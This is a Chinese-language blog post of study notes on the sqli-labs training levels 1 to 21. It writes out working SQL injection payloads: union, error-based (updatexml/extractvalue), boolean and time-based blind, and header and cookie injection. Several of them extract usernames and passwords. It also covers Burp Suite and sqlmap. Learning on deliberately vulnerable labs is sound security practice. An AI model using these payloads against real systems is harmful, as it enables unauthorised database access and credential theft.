sql注入小记:
less-1
可以查看源代码知道id走向,知道他是直接被填了进去(无任何过滤以及转义?),也就是我们可以直接改变提交进数据库的参数,达到注入条件,使用id为参数注入。
?id=-1’ union select 1,2,3—+
?id=-1’ union select 1,2,database()—+
?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’security’—+
?id=-1’ union select 1,2,group_concat(username) from security.users—+
?id=-1’ union select 1,2,group_concat(password) from security.users—+
less-2
?id=1 and 1=2 union select 1,2,3—+
重复less-1…..
less-3:先基础注入
例:
?id=1’ 然后看报错,也可以看他的php文件,发现递交上去的时候的语句:$sql=”SELECT * FROM users WHERE id=(‘$id’) LIMIT 0,1”;
那我就判断这个是单引号字符型注入,只不过需要括号来闭合。
?id=1’) 开始尝试,报错
?id=1’)—+加上注释之后,回显正常
所以?id=-1’)
less-4:观看源码以及题目提示可以知道,less-3的基础上,单引号改为双引号即可。
?id=-1”) union select 1,2,3—+
less-5:
因为这里并不是完全的无回显,所以我们试试updatexml报错注入:?id=1’ and updatexml(1,concat(0x5e,(select group_concat(username,0x7e,password) from users),0x5e),1) —+
因为这里有回显,但是没有数字,所以可以采用!!!布尔盲注,报错注入,或者时间盲注,故可以使用sqlmap跑。
less-6:
观看源代码可以发现,输入的id使用“包裹,其余和第五关一致,所以只需要我们换成双引号即可。:?id=1”…………同less-5
less-7:
into outfile命令:select into outfile命令作用将查询结果输出保存到一个文件中
提示use outfile说明开放了读写权限
不会!!1
less-8:先看题目,涉及到布尔盲注,再看源码,发现是单引号注入,然后就想到布尔盲注可以通过加载时间来判断
?id=1’ 无回显
?id=1’—+加注释之后,回显you are in
?id=1’ and if(substr(database(),1,1)=’s’,sleep(5),sleep(2))—+然后通过回显时间即可判断首字母是否是s。
爆思路:爆数据库名,爆表名,爆段。
由于工作量较大,所以可以采用sqlmap。
less-9:
页面一直保持同一个回显,可以尝试时间布尔注入,可行,采用报错注入,可行,同less-5
查看源码可以发现是单引号注入
?id=1’ and if(substr(database(),1,1)=’s’,sleep(5),sleep(1))—+//也可使用sqlmap
less-5报错注入updatexml函数
less-10:
观看源码或者题目,把less-9中参数单引号改为双引号即可。
?id=1” and if(substr(database(),1,1)=’s’,sleep(5),sleep(1))—+//也可使用sqlmap
!!!
4.11-我在看burp suite使用方法,因为后续less-11需要用到。
在此记录burp使用方法:(Gitbook《burp suite实战指南》https://t0data.gitbooks.io/burpsuite/content/chapter1.html)
2g运行内存分配启动-cmd:java -jar -Xmx2G C:\Users\Administrator.DESKTOP-VEKHJV0\Desktop\BurpUnlimited\BurpUnlimited.jar
看了一下午,三个多钟,发现看的还没有问lsj指点一二透彻,不禁让我想到牛顿所谓的站在巨人肩膀上的感觉。。。绝绝子,今晚回去英雄联盟。
GET请求
url传达参数
提交的信息会显示在url中
可以在url中进行sql注入
POST请求
提交的信息不会回显在url中,安全性相对更高,可以抓包或者利用插件修改post提交的信息
表单提交
通常有框框,常见比如登陆页面的账号框密码框啥的.
可以在框框里注入
也可以使用hackbar中的enable post或者burpsuite抓包
less-11
操作:打开burp后,cmd:ipconfig查看所连接外网方式的ip(用wifi则看无线局域网适配器,连接网线则看以太网适配器,当然没有连接的不会显示)
找到之后,将10.2.185.244把sqli-labs网页的127.0.0.1更换,也就是 10.2.185.244/sqli-labs/less-11/,才可以进行抓包。
抓到包后,点击action到repeater一步一步尝试,repeater是一个可以重复请求与响应的burp的功能模块。
为什么这一关用burp爆,而不直接网页爆呢?
都可以。都可以爆。
那么接下来就是说burp的repeater上进行的操作:uname=(这里只要闭合就行,原因我不知道,可能还需深入学习)’ union select 1,database()—+&passwd=&submit=Submit
ps:只有在密码行输入sql注入语句才可以加上admin在单引号前边,问sj说是因为先查询到username(原句)
在网页爆需要进入hackbar,然后看题目是基于错误的post型单引号字节,所以hackbar里面要点击enable POST,在body一栏写入注入语句,而且要先在username输入一些东西,提交之后才可以在hackbar进入post模式
less-12(基于错误的双引号POST型字符型注入)
与less-11相同,在hackbar进入post之后,同11步骤,但是在sql语句要加上恒错语句,and 1=2 在单引号后才可以正常进行注入。
less-13(POST单引号变形双注入)
正常尝试,发现为单引号括号闭合,但是admin’) or 1—+登录后无回显,如less-5,
这里可以使用报错注入 uname=admin’) and extractvalue(1,concat(0x7e,(select database()))) —+(post注入一般采用‘#’替换‘—+’,这里不替换也可以)
这里也可以使用时间盲注,sqlmap可以,burp也可以,uname=admin’) and if(substr(database(),1,1)=’s’,sleep(5),sleep(1))—+
less-14(POST双引号变形双注入)
正常尝试,根据题目我直接双引号,发现不用括号也可以注。
这里可以使用报错注入 uname=admin” and extractvalue(1,concat(0x7e,(select database()))) —+
这里也可以使用时间盲注,sqlmap可以,burp也可以,uname=admin” and if(substr(database(),1,1)=’s’,sleep(5),sleep(1))—+
less-15(基于bool型、时间延迟单引号POST型盲注)
admin尝试,完全无回显,考虑到bool型盲注
于是尝试万能密码(很多时候可以来判断是怎么类型的闭合,这里我尝试了’ and 1=2#/‘ and 1=1#/->不行):213’ or 1#:显示登陆成功,说明是单引号注入。
于是开始less-8的过程,通过sleep函数来判断,可以采用sqlmap.
less-16(基于bool型、时间延迟的双引号POST型盲注)
根据题目吗,使用万能密码(里面的or是他万能的原因)123” or 1#,诶,不行!
再次尝试括号,123”) or 1#,诶,可以了。
然后爆库,爆表。。。。。。。
less-17(基于错误的更新查询POST注入)
初次尝试:无论输入任何万能密码都不行还骂我bugoff
再次尝试我发现是一道没有回显的(指的是没有回显数据的),让我想到了bool型注入。
但是我还是查看来了一下源码,发现和之前的不一样,题目也不一样,很新鲜,检查对比之后发现uname被check-input函数包围,一看就不是善茬,我没看懂,但是我注意到password没有被包围。
所以这题可能在password里注入,
uname:admin
password:1’ and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)#(因为无回显,所以采用报错注入,时间的话我这边不行,500错误)
less-18(基于错误的用户代理,头部POST注入)
估计版本不对劲,一直没有回显,唯一的会显的是我的ip地址,和网页的登录失败。
解决办法:http://119.3.217.40/去docker下的靶场。非常的棒,抓包也可以正常抓包。
看了参考,主要是 考察host头部注入,表面测试了一两次admin,就去看php源文件,与17题进行比较,发现这一次uname和password都被check了,但是在头部信息ua中发现是直接获取与提交的,也就是没有任何过滤。
于是这题可以在ua进行注入:
打开burp,抓less-18的包,修改ua信息,发现是单引号报错,于是可以使用报错注入,在成熟的数据库,是不会有报错信息回显!
就进行报错注入:外到内
extractvalue(1,concat(0x7e,(select database())))
extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))
extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=’users’)))
extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))
less-19
通过题目以及源码发现,这次还是头post部注入,那么这次发现可以注入的是头部的referer,使用hackbar也可以注入:
先登录一次admin admin,然后load到hackbar上,add header 选择注入的头部信息,这次选择referer,在value打上sql语句。
less-20
登录之后,发现多了个cookie信息,然后就去查看源码,不出意外,uname和password都被check了起来,于是根据回显,找关于cookie的代码
发现查询语句查询了cookie,于是burp抓包去找cookie,发现了熟悉的伙伴,Cookie: uname=admin,马上就加个单引号go,报错,不行,果然加上—+回显正常,
这里就开始判断长度,这里不能有进行sql语句执行的时候,uname要为空,也就是Cookie: uname=’ order by 3—+; PHPSESSID=3ug6rq6irnolu8o08jo10i21s5;(我也不懂!)
正常的爆破即可。(抓包的时候注意看cookie,cookie有uname才抓!)
可以进行报错注入,时间盲注也可以。
有时候对于头部注入—+不好用,可以使用#进行闭合
!!!对于—+与#注释还不是很了解
less-21
查看源码,以及题目可以知道这一题还是cookie注入,但是这里是需要经过base64编码之后的sql语句。
1.可以在网页注入,还是hackbar:admin进入后,再点击load,此时 enable post,点击add header,输入cookie,通过bp抓包得到cookie的格式是uname=payload(base64编码)
2.在bp上直接改头部的cookie信息 。
...
...
本博客所有文章除特别声明外,均采用CC BY-SA 4.0 协议 ,转载请注明出处!